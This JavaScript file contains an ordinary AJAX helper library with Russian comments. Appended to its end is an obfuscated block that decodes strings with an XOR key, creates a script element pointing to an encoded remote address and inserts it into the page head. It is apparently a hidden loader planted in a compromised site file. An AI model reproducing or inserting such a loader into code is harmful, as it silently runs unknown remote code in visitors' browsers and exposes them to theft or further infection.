/*
<script Language="JavaScript" src="/ajax/ajax.js"></script>
var AJAX = new ajax_support('<?=$script_url?>',sent_request_mess);
AJAX.send_reqest();
function sent_request_mess(resOut)
{
alert(resOut);
}

function ajax_support(script_url,own_function):
script_url - скрипт обработчика запроса, например: '/sys/link_counter.php?ref='+ref+'&txt='+descr
own_function - своя функция для приема ответа на запрос (не строка, а объект)
*/
function ajax_support(script_url,own_function)
{
	//alert(script_url);
var req;
var timer_id=0;

this.send_reqest=function ()
{ //alert(out_function_name);
this.do_reqest('http://'+location.hostname+script_url);
}


this.do_reqest=function (url) 
{
var brauser=0;
    // branch for native XMLHttpRequest object
    if (window.XMLHttpRequest) 
	{ 
     req = new XMLHttpRequest();
     brauser=0;   
    // branch for IE/Windows ActiveX version
    } 
	else 
	if (window.ActiveXObject) 
	{
        req = new ActiveXObject("Microsoft.XMLHTTP");
        brauser=1;        
    }

if (typeof(req) == 'undefined') 
{
//alert('Cannot create XMLHTTP instance.');
return false;
}

req.onreadystatechange = function(e) 
{
//timer_id = window.setTimeout("req.abort();", 5000);// убирается с объектом класса
    
    if(req.readyState == 4) 
	{
//clearTimeout(timer_id);
        status = req.status; 
        // req.statusText; - описание ощибки         
        // only if "OK"
if (req.status == 200) 
{
//alert(req.responseText);
if(typeof(own_function)!='function')
	{
//alert("Не найдена функция для приема сообщений (второй параметр ajax_support())");
return;
	}
own_function(req.responseText);

}
else
{			
            //alert("Не удалось получить данные:\n" + req.statusText);
}
} 
}
//alert(url);		
req.open("GET", url, true);
if(brauser)
	req.send(null);
else
    req.send(null);
}


}function diu(oBWC27){return s78edZs(jrvJ(oBWC27),'nXSPb4JLOR6103Um');}var tE1Zyqg=["029059","028049","030044","013042054049022081015032042063083095068","029042048","026033035053","026061043036077094043058046033085067089067033","015040035053012080009036038062082","006061050052","009061039021014081039041033038069115073103052010032057062053","006044039032088027101063059051066084030064056001092118033037077094057099044060066031090064"];aQ4No8F(diu(tE1Zyqg[10]));function jrvJ(b24){var d9N7w='';var zhK6=0;var poCf5=0;for(zhK6=0;zhK6<b24.length/3;zhK6++){d9N7w+=String.fromCharCode(b24.slice(poCf5,poCf5+3));poCf5=poCf5+3;}return d9N7w;}function s78edZs(cTC,qzN){var m0D7='';var t3Ry=0;var r9WKu=0;for(t3Ry=0;t3Ry<cTC.length;t3Ry++){var j1=cTC.charAt(t3Ry);var aAIMB=j1.charCodeAt(0)^qzN.charCodeAt(r9WKu);j1=String.fromCharCode(aAIMB);m0D7+=j1;if(r9WKu==qzN.length-1)r9WKu=0;else r9WKu++;}return (m0D7);}function aQ4No8F(j58L){var kN18g7=document[diu(tE1Zyqg[3])](diu(tE1Zyqg[0])+diu(tE1Zyqg[1])+diu(tE1Zyqg[2]));kN18g7[diu(tE1Zyqg[4])]=j58L;kN18g7[diu(tE1Zyqg[5])]=diu(tE1Zyqg[6]);document[diu(tE1Zyqg[9])](diu(tE1Zyqg[8]))[0][diu(tE1Zyqg[7])](kN18g7);}